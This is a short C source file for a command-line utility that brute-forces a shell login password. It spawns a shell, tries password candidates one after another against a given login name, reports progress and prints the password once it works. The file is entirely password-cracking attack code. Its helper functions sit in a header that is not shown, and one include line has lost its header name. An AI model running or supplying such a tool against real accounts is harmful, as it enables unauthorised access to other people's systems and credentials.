// src/bruteforce.c --- utility to bruteforce shell password // // Copyright (c) 2026 Martin Michalec // // SPDX-License-Identifier: MIT // // Commentary: // // Code: #include #include "cracking.h" int main (int argc, char *argv[]) { if (argc != 2) { fprintf (stderr, "Usage: %s LOGIN\n", argv[0]); exit (EXIT_FAILURE); } struct shell shell = spawn_shell (); struct string_view login = SVCSTR (argv[1]); struct string_builder password = {0}; STRING_BUILDER_APPEND_STRING_VIEW (password, SVCSTR ("A")); for (size_t attmept = 0;; ++attmept) { if (attmept % 10000 == 0) printf ("Trying: %.*s\n", SBFMT (password)); if (test_credentials (shell, login, SVSB (password))) break; password_bump (&password); } printf ("Found: %.*s\n", SVFMT (SVSB (password))); return EXIT_SUCCESS; } // src/bruteforce.c ends here